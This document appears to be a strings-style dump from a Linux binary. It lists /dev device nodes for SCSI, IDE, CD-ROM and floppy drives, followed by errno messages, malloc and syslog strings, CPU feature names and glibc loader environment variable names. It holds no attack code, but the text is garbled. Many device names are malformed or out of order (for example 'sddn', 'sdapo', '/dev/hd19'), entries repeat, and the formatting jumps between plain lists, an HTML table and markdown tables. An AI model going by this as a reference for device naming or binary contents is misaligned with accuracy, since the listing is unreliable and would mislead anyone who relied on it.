/dev/sdp7  /dev/sdp6  /dev/sdp5
/dev/sdp4  /dev/sdp3  /dev/sdp2
/dev/sdp15 /dev/sdp14 /dev/sdp13
/dev/sdp12 /dev/sdp11 /dev/sdp10
/dev/sdp1  /dev/sdp  /dev/sdo9
/dev/sdo8  /dev/sdo7  /dev/sdo6
/dev/sdo5  /dev/sdo4  /dev/sdo3
/dev/sdo2  /dev/sdo15 /dev/sdo14
/dev/sdo13 /dev/sdo12 /dev/sdo11
/dev/sdo10 /dev/sdo1  /dev/sdo
/dev/sdn9  /dev/sdn8  /dev/sdn7
/dev/sdn6  /dev/sdn5  /dev/sdn4
/dev/sdn3  /dev/sdn2  /dev/sdn15
/dev/sdn14 /dev/sdn13 /dev/sdn12
/dev/sddn11 /dev/sddn10 /dev/sddn1
/dev/sddn /dev/sddm9 /dev/sddm8
/dev/sddm7 /dev/sddm6 /dev/sddm5
/dev/sddm4 /dev/sddm3 /dev/sddm2
/dev/sddm15 /dev/sddm14 /dev/sddm13
/dev/sddm12 /dev/sddm11 /dev/sddm10
/dev/sddm1 /dev/sddm /dev/sddm9
/dev/sdd18 /dev/sdd17 /dev/sdd16
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd10
/dev/sdd113 /dev/sdd112 /dev/sdd11
/dev/sdd110 /dev/sdd11 /dev/sdd1
/dev/sddk9 /dev/sddk8 /dev/sddk7
/dev/sddk6 /dev/sddk5 /dev/sddk4
/dev/sddk3 /dev/sddk2 /dev/sddk1
/dev/sddk14 /dev/sddk13 /dev/sddk12
/dev/sddk11 /dev/sddk10 /dev/sddk1
/dev/sddk /dev/sddj9 /dev/sddj8
/dev/sddj7 /dev/sddj6 /dev/sddj5
/dev/sddj4 /dev/sddj3 /dev/sddj2
/dev/sddj15 /dev/sddj14 /dev/sddj13
/dev/sddj12 /dev/sddj11 /dev/sddj10
/dev/sddj1 /dev/sddj /dev/sddj9
/dev/sdi8 /dev/sdi7 /dev/sdi6
/dev/sdi5 /dev/sdi4 /dev/sdi3
/dev/sdi2 /dev/sdi15 /dev/sdi14
/dev/sdi13 /dev/sdi12 /dev/sdi11
/dev/sdi10 /dev/sdi1 /dev/sdi
/dev/sdh9 /dev/sdh8 /dev/sdh7
/dev/sdh6 /dev/sdh5 /dev/sdh4
/dev/sdh3 /dev/sdh2 /dev/sdh1
/dev/sdh14 /dev/sdh13 /dev/sdh12
/dev/sdh11 /dev/sdh10 /dev/sdh1
/dev/sdh /dev/sdg9 /dev/sdg8
/dev/sdg7 /dev/sdg6 /dev/sdg5
/dev/sdq4 /dev/sdq3 /dev/sdq2
/dev/sdq15 /dev/sdq14 /dev/sdq13
/dev/sdq12 /dev/sdq11 /dev/sdq10
/dev/sdg1 /dev/sdg /dev/sdg9
/dev/sdf8 /dev/sdf7 /dev/sdf6
/dev/sdf5 /dev/sdf4 /dev/sdf3
/dev/sdf2 /dev/sdf15 /dev/sdf14
/dev/sdf13 /dev/sdf12 /dev/sdf11
/dev/sdf10 /dev/sdf1 /dev/sdf
/dev/sde9 /dev/sde8 /dev/sde7
/dev/sde6 /dev/sde5 /dev/sde4
/dev/sde3 /dev/sde2 /dev/sde1
/dev/sde14 /dev/sde13 /dev/sde12
/dev/sde11 /dev/sde10 /dev/sde1
/dev/sde /dev/sdd9 /dev/sdd8
/dev/sdd7 /dev/sdd6 /dev/sdd5
/dev/sdd4 /dev/sdd3 /dev/sdd2
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd10
/dev/sdd1 /dev/sdd /dev/sdc9
/dev/sdc8 /dev/sdc7 /dev/sdc6
/dev/sdc5 /dev/sdc4 /dev/sdc3
/dev/sddc2 /dev/sddc15 /dev/sddc14
/dev/sddc13 /dev/sddc12 /dev/sddc11
/dev/sddc10 /dev/sddc1 /dev/sddc
/dev/sdd9 /dev/sdd8 /dev/sdd7
/dev/sdd6 /dev/sdd5 /dev/sdd4
/dev/sdd3 /dev/sdd2 /dev/sdd1
/dev/sddc9 /dev/sddc8 /dev/sddc7
/dev/sddc6 /dev/sddc5 /dev/sddc4
/dev/sddc3 /dev/sddc2 /dev/sddc1
/dev/sddc14 /dev/sddc13 /dev/sddc12
/dev/sddc11 /dev/sddc10 /dev/sddc9
/dev/sddc8 /dev/sddc7 /dev/sddc6
/dev/sddc5 /dev/sddc4 /dev/sddc3
/dev/sddc15 /dev/sddc14 /dev/sddc13
/dev/sddc12 /dev/sddc11 /dev/sddc10
/dev/sddc1 /dev/sddc /dev/sddc9
/dev/sddc8 /dev/sddc7 /dev/sddc6
/dev/sddc5 /dev/sddc4 /dev/sddc3
/dev/sddc15 /dev/sddc14 /dev/sddc13
/dev/sddc12 /dev/sddc11 /dev/sddc10
/dev/sddc1 /dev/sddc /dev/sddc9
/dev/sddc8 /dev/sddc7 /dev/sddc6
/dev/sddc5 /dev/sddc4 /dev/sddc3
/dev/sdby15 /dev/sdby14 /dev/sdby13
/dev/sdby12 /dev/sdby11 /dev/sdby10
/dev/sdby1 /dev/sdby /dev/sdbx9
/dev/sdbx8 /dev/sdbx7 /dev/sdbx6
/dev/sdbx5 /dev/sdbx4 /dev/sdbx3
/dev/sdbx2 /dev/sdbx15 /dev/sdbx14
/dev/sdbx13 /dev/sdbx12 /dev/sdbx11
/dev/sdbx10 /dev/sdbx1 /dev/sdbx
/dev/sdbw9 /dev/sdbw8 /dev/sdbw7
/dev/sdbw6 /dev/sdbw5 /dev/sdbw4
/dev/sdbw3 /dev/sdbw2 /dev/sdbw15
/dev/sdbw14 /dev/sdbw13 /dev/sdbw12
/dev/sdbw11 /dev/sdbw10 /dev/sdbw1
/dev/sdbw /dev/sdbv9 /dev/sdbv8
/dev/sdbv7 /dev/sdbv6 /dev/sdbv5
/dev/sdbv4 /dev/sdbv3 /dev/sdbv2
/dev/sdbv15 /dev/sdbv14 /dev/sdbv13
/dev/sdbv12 /dev/sdbv11 /dev/sdbv10
/dev/sdbv1 /dev/sdbv /dev/sdbu9
/dev/sdbu8 /dev/sdbu7 /dev/sdbu6
/dev/sdbu5 /dev/sdbu4 /dev/sdbu3
/dev/sdbu2 /dev/sdbu15 /dev/sdbu14
/dev/sdbu13 /dev/sdbu12 /dev/sdbu11
/dev/sdbu10 /dev/sdbu1 /dev/sdbu
/dev/sdbt9 /dev/sdbt8 /dev/sdbt7
/dev/sdbt6 /dev/sdbt5 /dev/sdbt4
/dev/sdbt3 /dev/sdbt2 /dev/sdbt15
/dev/sdbt14 /dev/sdbt13 /dev/sdbt12
/dev/sdbt11 /dev/sdbt10 /dev/sdbt1
/dev/sdbs7 /dev/sdbs6 /dev/sdbs5
/dev/sdbs4 /dev/sdbs3 /dev/sdbs2
/dev/sdbs15 /dev/sdbs14 /dev/sdbs13
/dev/sdbs12 /dev/sdbs11 /dev/sdbs10
/dev/sdbs1 /dev/sdbs /dev/sdbs9
/dev/sdbr8 /dev/sdbr7 /dev/sdbr6
/dev/sdbr5 /dev/sdbr4 /dev/sdbr3
/dev/sdbr2 /dev/sdbr15 /dev/sdbr14
/dev/sdbr13 /dev/sdbr12 /dev/sdbr11
/dev/sdbr10 /dev/sdbr1 /dev/sdbr
/dev/sdbq9 /dev/sdbq8 /dev/sdbq7
/dev/sdbq6 /dev/sdbq5 /dev/sdbq4
/dev/sdbq3 /dev/sdbq2 /dev/sdbq15
/dev/sdbq14 /dev/sdbq13 /dev/sdbq12
/dev/sdbq11 /dev/sdbq10 /dev/sdbq1
/dev/sdbq /dev/sdbp9 /dev/sdbp8
/dev/sdbp7 /dev/sdbp6 /dev/sdbp5
/dev/sdbp4 /dev/sdbp3 /dev/sdbp2
/dev/sdbp15 /dev/sdbp14 /dev/sdbp13
/dev/sdbp12 /dev/sdbp11 /dev/sdbp10
/dev/sdbp1 /dev/sdbp /dev/sdbo9
/dev/sdbo8 /dev/sdbo7 /dev/sdbo6
/dev/sdbo5 /dev/sdbo4 /dev/sdbo3
/dev/sdbo2 /dev/sdbo15 /dev/sdbo14
/dev/sdbo13 /dev/sdbo12 /dev/sdbo11
/dev/sdbo10 /dev/sdbo1 /dev/sdbo
/dev/sdbn9 /dev/sdbn8 /dev/sdbn7
/dev/sdbn6  /dev/sdbn5  /dev/sdbn4
/dev/sdbn3  /dev/sdbn2  /dev/sdbn15
/dev/sdbn14 /dev/sdbn13 /dev/sdbn12
/dev/sdbn11 /dev/sdbn10 /dev/sdbn1
/dev/sdbn  /dev/sdbm9 /dev/sdbm8
/dev/sdbm7 /dev/sdbm6 /dev/sdbm5
/dev/sdbm4 /dev/sdbm3 /dev/sdbm2
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm
/dev/sdb18 /dev/sdb17 /dev/sdb16
/dev/sdb15 /dev/sdb14 /dev/sdb13
/dev/sdb12 /dev/sdb11 /dev/sdb10
/dev/sdb11 /dev/sdb1 /dev/sdb
/dev/sdbk9 /dev/sdbk8 /dev/sdbk7
/dev/sdbk6 /dev/sdbk5 /dev/sdbk4
/dev/sdbk3 /dev/sdbk2 /dev/sdbk15
/dev/sdbk14 /dev/sdbk13 /dev/sdbk12
/dev/sdbk11 /dev/sdbk10 /dev/sdbk1
/dev/sdbk /dev/sdbj9 /dev/sdbj8
/dev/sdbj7 /dev/sdbj6 /dev/sdbj5
/dev/sdbj4 /dev/sdbj3 /dev/sdbj2
/dev/sdbj15 /dev/sdbj14 /dev/sdbj13
/dev/sdbj12 /dev/sdbj11 /dev/sdbj10
/dev/sdbj1 /dev/sdbj /dev/sdbj9
/dev/sdbi8 /dev/sdbi7 /dev/sdbi6
/dev/sdbi5 /dev/sdbi4 /dev/sdbi3
/dev/sdbi2 /dev/sdbi1 /dev/sdbi
/dev/sdbi13 /dev/sdbi12 /dev/sdbi11
/dev/sdbi10 /dev/sdbi9 /dev/sdbi8
/dev/sdbh9 /dev/sdbh8 /dev/sdbh7
/dev/sdbh6 /dev/sdbh5 /dev/sdbh4
/dev/sdbh3 /dev/sdbh2 /dev/sdbh15
/dev/sdbh14 /dev/sdbh13 /dev/sdbh12
/dev/sdbh11 /dev/sdbh10 /dev/sdbh1
/dev/sdbh /dev/sdbg9 /dev/sdbg8
/dev/sdbg7 /dev/sdbg6 /dev/sdbg5
/dev/sdbg4 /dev/sdbg3 /dev/sdbg2
/dev/sdbg15 /dev/sdbg14 /dev/sdbg13
/dev/sdbg12 /dev/sdbg11 /dev/sdbg10
/dev/sdbg1 /dev/sdbg /dev/sdbg9
/dev/sdbf8 /dev/sdbf7 /dev/sdbf6
/dev/sdbf5 /dev/sdbf4 /dev/sdbf3
/dev/sdbf2 /dev/sdbf1 /dev/sdbf10
/dev/sdbf13 /dev/sdbf12 /dev/sdbf11
/dev/sdbf10 /dev/sdbf9 /dev/sdbf
/dev/sdbe9 /dev/sdbe8 /dev/sdbe
/dev/sdbe6 /dev/sdbe5 /dev/sdbe4
/dev/sdbe3 /dev/sdbe2 /dev/sdbe15
/dev/sdbe14 /dev/sdbe13 /dev/sdbe12
/dev/sdbe11 /dev/sdbe10 /dev/sdbe1
/dev/sdbe /dev/sdbd9 /dev/sdbd8
/dev/sdbd7 /dev/sdbd6 /dev/sdbd5
/dev/sdbd4 /dev/sdbd3 /dev/sdbd2
/dev/sdbd15 /dev/sdbd14 /dev/sdbd13
/dev/sdbd12 /dev/sdbd11 /dev/sdbd10
<table>
<thead>
<tr>
<th>Device</th>
<th>Device</th>
<th>Device</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/sdat14</td>
<td>/dev/sdat13</td>
<td>/dev/sdat12</td>
</tr>
<tr>
<td>/dev/sdat11</td>
<td>/dev/sdat10</td>
<td>/dev/sdat1</td>
</tr>
<tr>
<td>/dev/sdat</td>
<td>/dev/sdas9</td>
<td>/dev/sdas8</td>
</tr>
<tr>
<td>/dev/sdas7</td>
<td>/dev/sdas6</td>
<td>/dev/sdas5</td>
</tr>
<tr>
<td>/dev/sdas4</td>
<td>/dev/sdas3</td>
<td>/dev/sdas2</td>
</tr>
<tr>
<td>/dev/sdas15</td>
<td>/dev/sdas14</td>
<td>/dev/sdas13</td>
</tr>
<tr>
<td>/dev/sdas12</td>
<td>/dev/sdas11</td>
<td>/dev/sdas10</td>
</tr>
<tr>
<td>/dev/sdas1</td>
<td>/dev/sdas</td>
<td>/dev/sdar9</td>
</tr>
<tr>
<td>/dev/sdar8</td>
<td>/dev/sdar7</td>
<td>/dev/sdar6</td>
</tr>
<tr>
<td>/dev/sdar5</td>
<td>/dev/sdar4</td>
<td>/dev/sdar3</td>
</tr>
<tr>
<td>/dev/sdar2</td>
<td>/dev/sdar15</td>
<td>/dev/sdar14</td>
</tr>
<tr>
<td>/dev/sdar13</td>
<td>/dev/sdar12</td>
<td>/dev/sdar11</td>
</tr>
<tr>
<td>/dev/sdar10</td>
<td>/dev/sdar1</td>
<td>/dev/sdar</td>
</tr>
<tr>
<td>/dev/sdaq9</td>
<td>/dev/sdaq8</td>
<td>/dev/sdaq7</td>
</tr>
<tr>
<td>/dev/sdaq6</td>
<td>/dev/sdaq5</td>
<td>/dev/sdaq4</td>
</tr>
<tr>
<td>/dev/sdaq3</td>
<td>/dev/sdaq2</td>
<td>/dev/sdaq15</td>
</tr>
<tr>
<td>/dev/sdaq14</td>
<td>/dev/sdaq13</td>
<td>/dev/sdaq12</td>
</tr>
<tr>
<td>/dev/sdaq11</td>
<td>/dev/sdaq10</td>
<td>/dev/sdaq1</td>
</tr>
<tr>
<td>/dev/sdaq</td>
<td>/dev/sdap9</td>
<td>/dev/sdp8</td>
</tr>
<tr>
<td>/dev/sdap7</td>
<td>/dev/sdap6</td>
<td>/dev/sdap5</td>
</tr>
<tr>
<td>/dev/sdap4</td>
<td>/dev/sdap3</td>
<td>/dev/sdap2</td>
</tr>
<tr>
<td>/dev/sdap15</td>
<td>/dev/sdap14</td>
<td>/dev/sdap13</td>
</tr>
<tr>
<td>/dev/sdap12</td>
<td>/dev/sdap11</td>
<td>/dev/sdap10</td>
</tr>
<tr>
<td>/dev/sdap1</td>
<td>/dev/sdp</td>
<td>/dev/sdpa9</td>
</tr>
<tr>
<td>/dev/sdapo8</td>
<td>/dev/sdapo7</td>
<td>/dev/sdapo6</td>
</tr>
<tr>
<td>/dev/sdapo5</td>
<td>/dev/sdapo4</td>
<td>/dev/sdapo3</td>
</tr>
<tr>
<td>/dev/sdapo2</td>
<td>/dev/sdapo15</td>
<td>/dev/sdapo14</td>
</tr>
<tr>
<td>/dev/sdapo13</td>
<td>/dev/sdapo12</td>
<td>/dev/sdapo11</td>
</tr>
<tr>
<td>/dev/sdano9</td>
<td>/dev/sdano8</td>
<td>/dev/sdano7</td>
</tr>
<tr>
<td>/dev/sdano6</td>
<td>/dev/sdano5</td>
<td>/dev/sdano4</td>
</tr>
<tr>
<td>/dev/sdan3</td>
<td>/dev/sdan2</td>
<td>/dev/sdan15</td>
</tr>
<tr>
<td>/dev/sdan14</td>
<td>/dev/sdan13</td>
<td>/dev/sdan12</td>
</tr>
<tr>
<td>/dev/sdan11</td>
<td>/dev/sdan10</td>
<td>/dev/sdan1</td>
</tr>
<tr>
<td>/dev/sdan</td>
<td>/dev/sdam9</td>
<td>/dev/sdam8</td>
</tr>
<tr>
<td>/dev/sdam7</td>
<td>/dev/sdam6</td>
<td>/dev/sdam5</td>
</tr>
<tr>
<td>/dev/sdam4</td>
<td>/dev/sdam3</td>
<td>/dev/sdam2</td>
</tr>
<tr>
<td>/dev/sdam15</td>
<td>/dev/sdam14</td>
<td>/dev/sdam13</td>
</tr>
<tr>
<td>/dev/sdam12</td>
<td>/dev/sdam11</td>
<td>/dev/sdam10</td>
</tr>
<tr>
<td>/dev/sdam1</td>
<td>/dev/sdam</td>
<td>/dev/sda9</td>
</tr>
<tr>
<td>/dev/sda18</td>
<td>/dev/sda17</td>
<td>/dev/sda6</td>
</tr>
<tr>
<td>/dev/sda15</td>
<td>/dev/sda14</td>
<td>/dev/sda13</td>
</tr>
<tr>
<td>/dev/sda12</td>
<td>/dev/sda115</td>
<td>/dev/sda11</td>
</tr>
<tr>
<td>/dev/sda13</td>
<td>/dev/sda12</td>
<td>/dev/sda11</td>
</tr>
<tr>
<td>/dev/sda10</td>
<td>/dev/sda1</td>
<td>/dev/sda</td>
</tr>
<tr>
<td>/dev/sdak9</td>
<td>/dev/sdak8</td>
<td>/dev/sdak7</td>
</tr>
<tr>
<td>/dev/sdak6</td>
<td>/dev/sdak5</td>
<td>/dev/sdak4</td>
</tr>
<tr>
<td>/dev/sdak3</td>
<td>/dev/sdak2</td>
<td>/dev/sdak15</td>
</tr>
<tr>
<td>/dev/sdak14</td>
<td>/dev/sdak13</td>
<td>/dev/sdak12</td>
</tr>
<tr>
<td>/dev/sdak11</td>
<td>/dev/sdak10</td>
<td>/dev/sdak1</td>
</tr>
<tr>
<td>/dev/sdak</td>
<td>/dev/sdaj9</td>
<td>/dev/sdaj8</td>
</tr>
<tr>
<td>/dev/sdaj7</td>
<td>/dev/sdaj6</td>
<td>/dev/sdaj5</td>
</tr>
<tr>
<td>/dev/sdaj4</td>
<td>/dev/sdaj3</td>
<td>/dev/sdaj2</td>
</tr>
<tr>
<td>/dev/sdaj15</td>
<td>/dev/sdaj14</td>
<td>/dev/sdaj13</td>
</tr>
<tr>
<td>/dev/sdaj12</td>
<td>/dev/sdaj1</td>
<td>/dev/sdaj10</td>
</tr>
<tr>
<td>/dev/sdaj1</td>
<td>/dev/sdaj</td>
<td>/dev/sdaj9</td>
</tr>
<tr>
<td>/dev/sda18</td>
<td>/dev/sda17</td>
<td>/dev/sda16</td>
</tr>
</tbody>
</table>
/dev/sdai5 /dev/sdai4 /dev/sdai3
/dev/sdai2 /dev/sdai5 /dev/sdai14
/dev/sdai13 /dev/sdai12 /dev/sdai11
/dev/sdai10 /dev/sdai1 /dev/sdai
/dev/sdah9 /dev/sdah8 /dev/sdah7
/dev/sdah6 /dev/sdah5 /dev/sdah4
/dev/sdah3 /dev/sdah2 /dev/sdah15
/dev/sdah14 /dev/sdah13 /dev/sdah12
/dev/sdah11 /dev/sdah10 /dev/sdah1
/dev/sdah /dev/sdag9 /dev/sdag8
/dev/sdag7 /dev/sdag6 /dev/sdag5
/dev/sdag4 /dev/sdag3 /dev/sdag2
/dev/sdag15 /dev/sdag14 /dev/sdag13
/dev/sdag12 /dev/sdag11 /dev/sdag10
/dev/sdag1 /dev/sdag /dev/sdaf9
/dev/sdaf8 /dev/sdaf7 /dev/sdaf6
/dev/sdaf5 /dev/sdaf4 /dev/sdaf3
/dev/sdaf2 /dev/sdaf15 /dev/sdaf14
/dev/sdaf13 /dev/sdaf12 /dev/sdaf11
/dev/sdaf10 /dev/sdaf9 /dev/sdaf
/dev/sdae9 /dev/sdae8 /dev/sdae7
/dev/sdae6 /dev/sdae5 /dev/sdae4
/dev/sdae3 /dev/sdae2 /dev/sdae15
/dev/sdae14 /dev/sdae13 /dev/sdae12
/dev/sdae11 /dev/sdae10 /dev/sdae1
/dev/sdae /dev/sdad9 /dev/sdad8
/dev/sdad7 /dev/sdad6 /dev/sdad5
/dev/sdad4 /dev/sdad3 /dev/sdad2
/dev/sdad15 /dev/sdad14 /dev/sdad13
/dev/sdad12 /dev/sdad11 /dev/sdad10
/dev/sdad1 /dev/sdad /dev/sdac9
/dev/sdac8 /dev/sdac7 /dev/sdac6
/dev/sdac5 /dev/sdac4 /dev/sdac3
/dev/sdac2 /dev/sdac15 /dev/sdac14
/dev/sdac13 /dev/sdac12 /dev/sdac11
/dev/sdac10 /dev/sdac9 /dev/sdac
/dev/sdab9 /dev/sdab8 /dev/sdab7
/dev/sdab6 /dev/sdab5 /dev/sdab4
/dev/sdab3 /dev/sdab2 /dev/sdab15
/dev/sdab14 /dev/sdab13 /dev/sdab12
/dev/sdab11 /dev/sdab10 /dev/sdab1
/dev/sdab /dev/sdaa9 /dev/sdaa8
/dev/sdaa7 /dev/sdaa6 /dev/sdaa5
/dev/sdaa4 /dev/sdaa3 /dev/sdaa2
/dev/sdaa15 /dev/sdaa14 /dev/sdaa13
/dev/sdaa12 /dev/sdaa11 /dev/sdaa10
/dev/sdaa1 /dev/sdaa /dev/sda9
/dev/sda8 /dev/sda7 /dev/sda6
/dev/sda5 /dev/sda4 /dev/sda3
/dev/sda2 /dev/sda15 /dev/sda14
/dev/sda13 /dev/sda12 /dev/sda11
/dev/sda10 /dev/sda1 /dev/sda
/dev/scd7 /dev/scd6 /dev/scd5
/dev/scd4 /dev/scd3 /dev/scd2
/dev/scd1 /dev/scd0 /dev/sbpcd9
/dev/sbpcd8 /dev/sbpcd7 /dev/sbpcd6
/dev/sbpcd5 /dev/sbpcd4 /dev/sbpcd3
/dev/hdo32  /dev/hdo31  /dev/hdo30
/dev/hdo3   /dev/hdo29  /dev/hdo28
/dev/hdo27  /dev/hdo26  /dev/hdo25
/dev/hdo24  /dev/hdo23  /dev/hdo22
/dev/hdo21  /dev/hdo20  /dev/hdo2
/dev/hdo19  /dev/hdo18  /dev/hdo17
/dev/hdo16  /dev/hdo15  /dev/hdo14
/dev/hdo13  /dev/hdo12  /dev/hdo11
/dev/hdo10  /dev/hdo1    /dev/hdo
/dev/hdn9   /dev/hdn8   /dev/hdn7
/dev/hdn6   /dev/hdn5   /dev/hdn4
/dev/hdn32  /dev/hdn31  /dev/hdn30
/dev/hdn3   /dev/hdn29  /dev/hdn28
/dev/hdn27  /dev/hdn26  /dev/hdn25
/dev/hdn24  /dev/hdn23  /dev/hdn22
/dev/hdn21  /dev/hdn20  /dev/hdn2
/dev/hdn19  /dev/hdn18  /dev/hdn17
/dev/hdn16  /dev/hdn15  /dev/hdn14
/dev/hdn13  /dev/hdn12  /dev/hdn11
/dev/hdn10  /dev/hdn1    /dev/hdn
/dev/hdm9   /dev/hdm8   /dev/hdm7
/dev/hdm6   /dev/hdm5   /dev/hdm4
/dev/hdm32  /dev/hdm31  /dev/hdm30
/dev/hdm3   /dev/hdm29  /dev/hdm28
/dev/hdm27  /dev/hdm26  /dev/hdm25
/dev/hdm24  /dev/hdm23  /dev/hdm22
/dev/hdm21  /dev/hdm20  /dev/hdm2
/dev/hdm19  /dev/hdm18  /dev/hdm17
/dev/hdm16  /dev/hdm15  /dev/hdm14
/dev/hdm13  /dev/hdm12  /dev/hdm11
/dev/hdm10  /dev/hdm1    /dev/hdm
/dev/hd19  /dev/hd18   /dev/hd17
/dev/hd16  /dev/hd15   /dev/hd14
/dev/hd13  /dev/hd129  /dev/hd130
/dev/hd127  /dev/hd126  /dev/hd125
/dev/hd124  /dev/hd123  /dev/hd122
/dev/hd121  /dev/hd120  /dev/hd12
/dev/hd119  /dev/hd118  /dev/hd117
/dev/hd116  /dev/hd115  /dev/hd114
/dev/hd113  /dev/hd112  /dev/hd111
/dev/hd110  /dev/hd11   /dev/hd1
/dev/hdk9  /dev/hdk8   /dev/hdk7
/dev/hdk6  /dev/hdk5   /dev/hdk4
/dev/hdk32  /dev/hdk31  /dev/hdk30
/dev/hdk3   /dev/hdk29  /dev/hdk28
/dev/hdk27  /dev/hdk26  /dev/hdk25
/dev/hdk24  /dev/hdk23  /dev/hdk22
/dev/hdk21  /dev/hdk20  /dev/hdk2
/dev/hdk19  /dev/hdk18  /dev/hdk17
/dev/hdk16  /dev/hdk15  /dev/hdk14
/dev/hdk13  /dev/hdk12  /dev/hdk11
/dev/hdk10  /dev/hdk1    /dev/hdk
/dev/hdj9  /dev/hdj8   /dev/hdj7
/dev/hdj6  /dev/hdj5   /dev/hdj4
/dev/hdj32  /dev/hdj31  /dev/hdj30
/dev/hdj3  /dev/hdj29  /dev/hdj28
/dev/fd7h360  /dev/fd7h1660  /dev/fd7h1494
/dev/fd7h1476  /dev/fd7h1440  /dev/fd7h1200
/dev/fd7d360  /dev/fd7hCompaQ  /dev/fd7
/dev/fd6u830  /dev/fd6u820  /dev/fd6u800
/dev/fd6u720  /dev/fd6u3840  /dev/fd6u360
/dev/fd6u3520  /dev/fd6u3200  /dev/fd6u2880
/dev/fd6u1920  /dev/fd6u1840  /dev/fd6u1760
/dev/fd6u1743  /dev/fd6u1722  /dev/fd6u1680
/dev/fd6u1660  /dev/fd6u1440  /dev/fd6u1120
/dev/fd6u1040  /dev/fd6h880  /dev/fd6h720
/dev/fd6h420  /dev/fd6h410  /dev/fd6h360
/dev/fd6h1660  /dev/fd6h1494  /dev/fd6h1476
/dev/fd6h1440  /dev/fd6h1200  /dev/fd6h360
/dev/fd6CompaQ  /dev/fd6  /dev/fd5u360
/dev/fd5u820  /dev/fd5u800  /dev/fd5u720
/dev/fd5u3840  /dev/fd5u360  /dev/fd5u3520
/dev/fd5u3200  /dev/fd5u2880  /dev/fd5u1920
/dev/fd5u1840  /dev/fd5u1760  /dev/fd5u1743
/dev/fd5u1722  /dev/fd5u1680  /dev/fd5u1660
/dev/fd5u1440  /dev/fd5u1120  /dev/fd5u1040
/dev/fd5h880  /dev/fd5h720  /dev/fd5h420
/dev/fd5h410  /dev/fd5h360  /dev/fd5h1660
/dev/fd5h1494  /dev/fd5h1476  /dev/fd5h1440
/dev/fd5h1200  /dev/fd5h360  /dev/fd5CompaQ
/dev/fd5  /dev/fd4u830  /dev/fd4u820
/dev/fd4u800  /dev/fd4u720  /dev/fd4u3840
/dev/fd4u360  /dev/fd4u3520  /dev/fd4u3200
/dev/fd4u2880  /dev/fd4u1920  /dev/fd4u1840
/dev/fd4u1760  /dev/fd4u1743  /dev/fd4u1680
/dev/fd4u1680  /dev/fd4u1660  /dev/fd4u1440
/dev/fd4u1120  /dev/fd4u1040  /dev/fd4h880
/dev/fd4h720  /dev/fd4h420  /dev/fd4h410
/dev/fd4h360  /dev/fd4h1660  /dev/fd4h1494
/dev/fd4h1476  /dev/fd4h1440  /dev/fd4h1200
/dev/fd4d360  /dev/fd4CompaQ  /dev/fd4
/dev/fd3u830  /dev/fd3u820  /dev/fd3u800
/dev/fd3u720  /dev/fd3u3840  /dev/fd3u360
/dev/fd3u3520  /dev/fd3u3200  /dev/fd3u2880
/dev/fd3u1920  /dev/fd3u1840  /dev/fd3u1760
/dev/fd3u1743  /dev/fd3u1722  /dev/fd3u1680
/dev/fd3u1660  /dev/fd3u1440  /dev/fd3u1120
/dev/fd3u1040  /dev/fd3h880  /dev/fd3h720
/dev/fd3h420  /dev/fd3h410  /dev/fd3h360
/dev/fd3h1660  /dev/fd3h1494  /dev/fd3h1476
/dev/fd3h1440  /dev/fd3h1200  /dev/fd3d360
/dev/fd3H720  /dev/fd3H360  /dev/fd3H1440
/dev/fd3D720  /dev/fd3D360  /dev/fd3CompaQ
/dev/fd3  /dev/fd2u830  /dev/fd2u820
/dev/fd2u800  /dev/fd2u720  /dev/fd2u3840
/dev/fd2u360  /dev/fd2u3520  /dev/fd2u3200
/dev/fd2u2880  /dev/fd2u1920  /dev/fd2u1840
/dev/fd2u1760  /dev/fd2u1743  /dev/fd2u1722
/dev/fd2u1680  /dev/fd2u1660  /dev/fd2u1440
/dev/fd2u1120  /dev/fd2u1040  /dev/fd2h880
/dev/fd2h720  /dev/fd2h420  /dev/fd2h410
/dev/fd2h360  /dev/fd2h1660  /dev/fd2h1494
/dev/fd2h1476  /dev/fd2h1440  /dev/fd2h1200
Link number out of range | Level 3 reset | Level 3 halted
---|---|---
Level 2 not synchronized | Channel number out of range | Identifier removed
No message of desired type | Directory not empty | Function not implemented
No locks available | File name too long | Resource deadlock avoided
Numerical result out of range | Broken pipe | Too many links
Read-only file system | Illegal seek | No space left on device
File too large | Text file busy | Too many open files
Too many open files in system | Invalid argument | Is a directory
Not a directory | No such device | Invalid cross-device link
File exists | Device or resource busy | Block device required
Bad address | Permission denied | Cannot allocate memory
No child processes | Bad file descriptor | Exec format error
Argument list too long | No such device or address | Input/output error
Interrupted system call | No such process | No such file or directory
Operation not permitted | Success | Too many references: cannot splice
Cannot send after transport endpoint shutdown | Transport endpoint is not connected | Transport endpoint is already connected
Software caused connection abort | Network dropped connection on reset | Cannot assign requested address
Address family not supported by protocol | Protocol wrong type for socket | Socket operation on non-socket
Interrupted system call should be restarted | Invalid or incomplete multibyte or wide character | Cannot exec a shared library directly
Attempting to link in too many shared libraries | .lib section in a.out corrupted | Accessing a corrupted shared library
Can not access a needed shared library | Value too large for defined data type | Too many levels of symbolic links
Numerical argument out of domain | Inappropriate ioctl for device | Resource temporarily unavailable
,css= | MMAP_MAX_ | MMAP_MAX_
TRIM_THRESHOLD_ | system bytes = %10u | Arena %d:
| in use bytes = %10u | Total (incl. mmap):
max mmap regions = %10u | malloc: top chunk is corrupt
free(): invalid pointer %p! | realloc(): invalid pointer %p!
Unknown error | ANSI_X3.4-1968//TRANSLIT | syslog: unknown
out of memory [ %d] | %h %e %T | facility/priority: %x
| /dev/console | %h %e %T
| /dev/log | /dev/log
| cmov | acpi
| mtrr | ia64
| clflush | i486
| sse2 | i386
| i386 | i586
| i586 | i686
LD_AOUTH_PRELOAD | LD_AOUTH_PRELOAD | LD_AOUTH_LIBRARY_PATH
LD_ORIGIN_PATH | LD_DEBUG_OUTPUT | LD_LIBRARY_PATH
GCONV_PATH | HOSTALIASES | LD_PROFILE
LOCSPATH | NLS_PATH | LOCALDOMAIN
RESOLVE_HOST_CONF | RES_OPTIONS | TMPDIR
T2DIR | LD_WARN | LD_LIBRARY_PATH
LD_BIND_NOW | LD_BIND_NOT | LD_DYNAMIC_WEAK
